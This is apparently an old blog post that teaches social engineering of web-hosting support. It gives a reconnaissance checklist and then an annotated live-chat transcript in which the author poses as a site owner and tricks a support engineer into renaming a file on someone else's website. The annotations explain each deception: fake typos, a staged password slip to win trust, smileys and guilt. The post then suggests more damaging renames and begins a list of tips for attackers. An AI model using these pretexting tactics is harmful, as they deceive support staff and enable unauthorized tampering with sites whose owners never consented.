<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">Some of the steps to help you get in started:</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU"> </span></span></span></p>
<ol style="margin-top:0;" type="1">
<li class="MsoNormal"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">www.technicalinfo.net   &#8211;      Gather details such as DNS servers, IP address, Admin contact, MX record      details etc.</span></span></span></li>
<li class="MsoNormal"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">www.netcraft.com &#8211; Gather      information about OS, webserver details etc</span></span></span></li>
<li class="MsoNormal"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">www.dnslocator.com &#8211; Gather      information about domains who use specific servers, such as      &#8220;ns2.hostingcompany.com&#8221; or &#8220;ns3.hostingcompany.com&#8221;</span></span></span></li>
<li class="MsoNormal"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">www.softbytelabs.com &#8211; Use      Blackwidow to download the website offline- very Important. You will need      to know the sitemap / structure of the website to get around.</span></span></span></li>
<li class="MsoNormal"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">www.google.com &#8211; ideally use google      search to dig out information about the website. This can be right from      the names of key people involved to reading blog posts of employees.</span></span></span></li>
</ol>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">The above links are only to get you started. You can use any related tools for this activity.</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;"><span><span><span style="font-size:10pt;font-family:Verdana;" lang="EN-AU"> </span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><strong><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU"> </span></strong></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><strong><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU"> </span></strong></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><strong><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU"> </span></strong></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><strong><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">What goes behind customer support?</span></strong></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">Jokes apart, the pressure to deliver a high CSAT (Customer Satisfaction) score is intense among managers in support industry. Every time a call (case) comes in, the engineers are more worried about closing the issue on the same day (slam dunk) than cumulate it in their bins. Any customer who seems happy and satisfied in the conversation is a potential guy for a good feedback, which in turn will reflect on the support engineer’s performance review. So most support professionals are careful not to irritate or annoy the customers. Most support engineers will not be happy if you demand to speak to their direct managers for a technical case.Then there are remuneration issues. New guys are paid higher; some wicked sweet managers diplomatically don&#8217;t allow their best guys to progress. And most tech leads (TL) are not exact favorites. The last thing a support engineer would want is to get a low CSAT score. </span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU"> </span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><strong><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">Case Study &#8211; Executing the Hack</span></strong></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">For this case, we have identified a domain (*******.net) hosted at a hosting provider (name / screenshots modified to avoid legal issues). We start the Live chat and select technical support. My comments are inserted as required. </span></span></span></p>
<p class="MsoNormal" style="text-align:justify;"><span><span><span style="font-size:10pt;font-family:Verdana;" lang="EN-AU"> </span></span></span></p>
<p class="MsoNormal" style="text-align:justify;"><span><span><em><span style="font-size:10pt;font-family:Verdana;" lang="EN-AU">Please wait for a site operator to respond</span></em></span></span></p>
<p class="MsoNormal" style="text-align:justify;"><span><span><span style="font-size:10pt;font-family:Verdana;" lang="EN-AU">You are now chatting with &#8216;Zeyad Abed&#8217;</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;"><span><span><span style="font-size:10pt;font-family:Verdana;" lang="EN-AU"> </span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">Zeyad Abed: Hello, my name is Zeyad, please let me know how can I help you?</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">you: helo mtr zeyad this is sarah</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">// a woman’s name always has a better chance of looking innocent //</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">you: i m trying to change the image but it givings me eror al time</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">// the spelling mistakes are intentional. //</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">you: from FTP</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">you: it says cannot rename folder</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">you: but im able to see everything</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">you: why?</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">you: hello?</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">Zeyad Abed: Provide me your domain name please</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">you: ******.net</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">Zeyad Abed: Hold on please let me check it</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">You: its header .gif under images folder im unbale ti rename it</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">you: i have new update byut its not gettng copiedand keeps giving me error &#8220;connection tiemed out&#8221;</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">// the intention is to give an impression that I’m a dumb user – if you notice; there are no “full stops” to separate the sentences. I did not want him to pause and think over a sentence and then move on to next //</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">you: we have to update zonal lead changes today as after saturday on monday the customers will start updating it</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">you: hello?</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">Zeyad Abed: Yes im checking now</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">you: okies <img src='http://s2.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">// smiley to make the conversation a bit light //</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">Zeyad Abed: Thanks</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">you: damie use &#8216;sarahmon321&#8242; as pass n lemme kno ok?</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">// I type in a message that seems like it’s for a ‘trusted’ friend – as it contains a general password – This move has numerous benefits. Although it seems like a genuine mistake, the vulnerable position distracts the support engineer. This also helps in gaining trust //</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">you: oh sorry it was not for you</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">you: mistake</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">Zeyad Abed: It&#8217;s ok</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">you: <img src='http://s2.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  i hope u wont use it on my email</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">// this re-enforces my vulnerable position. He can access my mail if he wants to…// </span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">you: too many chat boxes got confusd</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">you: you also facing the same issue?</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">you: i think something is wrong on the folders? that image is locked or something?</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">Zeyad Abed: Sorry , just give me a minute please</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">you: ok <img src='http://s2.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  tk ur time</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">Zeyad Abed: Sorry the pic in your main page?</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">you: yes its on the main page u can see? above the image of hands?</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">you: clock sorry</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">you: pls dont delete that im only truing to rename it for putting new one</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">// stating not to delete the image makes you look genuine //</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">Zeyad Abed: Sorry all the pic in your site working</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">you: so what to do now?im unable to relpace it</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">Zeyad Abed: Sorry form your side you can&#8217;t see the pic in your main page?</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">you: arry i can see it&#8230;</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">you: its not that i want to rename it frmo FTP so that we can replace with new image its not taking it</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">you: its not geeting overwritten</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">you: its not getting replaced</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">// I typed too many sentences and looked desperate. I thought I was losing it. This was a mistake in my view. //</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">Zeyad Abed: Sorry but you can replace it go to your webshell please</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">you: waht is that?</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">// If I agree to webshell, this conversation is over. It’s best I deny any knowledge of it to buy more time//</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">you: they have given me ftp password root</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">you: to update the site</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">you: can i do it from cuteFTP?</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">// this makes me seem like a restricted user who has been assigned a job //</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">Zeyad Abed: Sorry i mean your FTP</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">you: yes thats waht im telling you</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">Zeyad Abed: Sign in t oyour FTP</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">// good, I can drive this again // </span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">you: im singned in ftp and inside images and see all files n folders</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">Zeyad Abed: Ok</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">you: ok can you try from ur end? any other image can u rename successfuilly? are u sure its not server issue? as i can see everthingh inside?</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">// ok, now we are on the same page. I only ask him to replicate the issue and check if everything is all right. This is as harmless as it can get //</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">Zeyad Abed: Which image you need to insert ?and where exact?</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">// It’s on the right track&#8230; Time to gently put a bit of pressure if needed //</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">you: can u try renaming *****logo.jpg?</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">you: its under images folder</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">Zeyad Abed: Ok</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">you: or any other image and tell me f its working?</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">Zeyad Abed: Ok</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">you: its not right? i told u&#8230;</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">// ‘ I told u’ is such an old game… //</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">Zeyad Abed: Hold</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">Zeyad Abed: Hold on please</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">you: <img src='http://s0.wp.com/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> </span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">// the sad smiley is the last nail in the coffin. //</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">Zeyad Abed: Rename it to what?</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">// my job is done //</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">you: .bak? for testing?</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">Zeyad Abed: bak?</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">you: its acce.bak &#8212;&gt; backup</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">you: i dont want to delete any image in case i want it later</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">you: just renanme it to .bak frim .jpg n see if ts accepting there?</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">Zeyad Abed: Sorry i need to rename sklogo.jpg<span> </span>to which name you need it ?</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">you: sklogo.bak</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">you: or *****logoold.jpg</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">you: anything</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">you: working?</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">Zeyad Abed: Ok</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">you: its working?</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">Zeyad Abed: Yes it&#8217;s working now</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">// Bingo! //</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">you: ok leme se</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">you: see?</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">you: wait</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">Zeyad Abed: Take your time</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">you: hey how did u do that? what steps did u take?</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">// Rather, WHY did you do that!”</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">you: just cliekced on rename?</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">you: wow its working</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">Zeyad Abed: At first you must to click in your file which you need to rename it and then rename it</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">you: ok.. ohh.. .. leme try and get backl to you&#8230; ill test it again and let u know</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">you: zeyad u beeen an angel i was breaking my head almost</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">you: thank u!</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">Zeyad Abed: You are welcome</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">you: thanks again</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">Zeyad Abed: Is there anything else I can assist you with?</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">// they are so nice //</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">Zeyad Abed: You are welcome</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">you: <img src='http://s2.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  i will try this n update rigte now! im so happy i can have my lunch happily</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">you: <img src='http://s2.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  thanks to u. good day zeyad</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">you: tk care</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">Zeyad Abed: Bye</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">Zeyad Abed: Please feel free to contact us if you need further assistance, we are available 24/7.</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">you: sure! goood day!-</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU"> </span></span></span></p>
<p class="MsoNormal" style="text-align:center;" align="center"><span><span><strong><span style="font-size:10pt;font-family:Verdana;" lang="EN-AU">You can see the result below</span></strong></span></span></p>
<p class="MsoNormal" style="text-align:justify;"><span><span><span style="font-size:10pt;font-family:Verdana;" lang="EN-AU"><!--[if gte vml 1]&gt;                    &lt;![endif]--><!--[if !vml]--><!--[endif]--></span></span></span></p>
<p class="MsoNormal" style="text-align:justify;">
<div id="attachment_29" class="wp-caption alignnone" style="width: 583px"><a href="http://orchidseven.files.wordpress.com/2008/12/before.jpg"><img class="size-full wp-image-29" title="before" src="http://orchidseven.files.wordpress.com/2008/12/before.jpg?w=573&#038;h=455" alt="websitehack-before" width="573" height="455" /></a><p class="wp-caption-text">websitehack-before</p></div>
<p class="MsoNormal" style="text-align:justify;"><span><span><span style="font-size:10pt;font-family:Verdana;" lang="EN-AU"><br />
</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">There could have been a number of possibilities. Imagine a scenario where we could have asked the support professional to rename a critical folder (like &#8220;images&#8221; or any database or system folder). Or worst, rename Index.html to index.gone! </span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;">
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><a href="http://orchidseven.files.wordpress.com/2008/12/after.jpg"><img class="alignnone size-full wp-image-30" title="websitehack-after" src="http://orchidseven.files.wordpress.com/2008/12/after.jpg?w=570&#038;h=431" alt="websitehack-after" width="570" height="431" /></a></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU"><br />
</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;"><span><span><span style="font-size:10pt;font-family:Verdana;" lang="EN-AU"><!--[if gte vml 1]&gt;  &lt;![endif]--><!--[if !vml]--><!--[endif]--></span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><strong><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">What not to do on Live Chat</span></strong></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">1. Ask to delete any data</span></span></span></p>
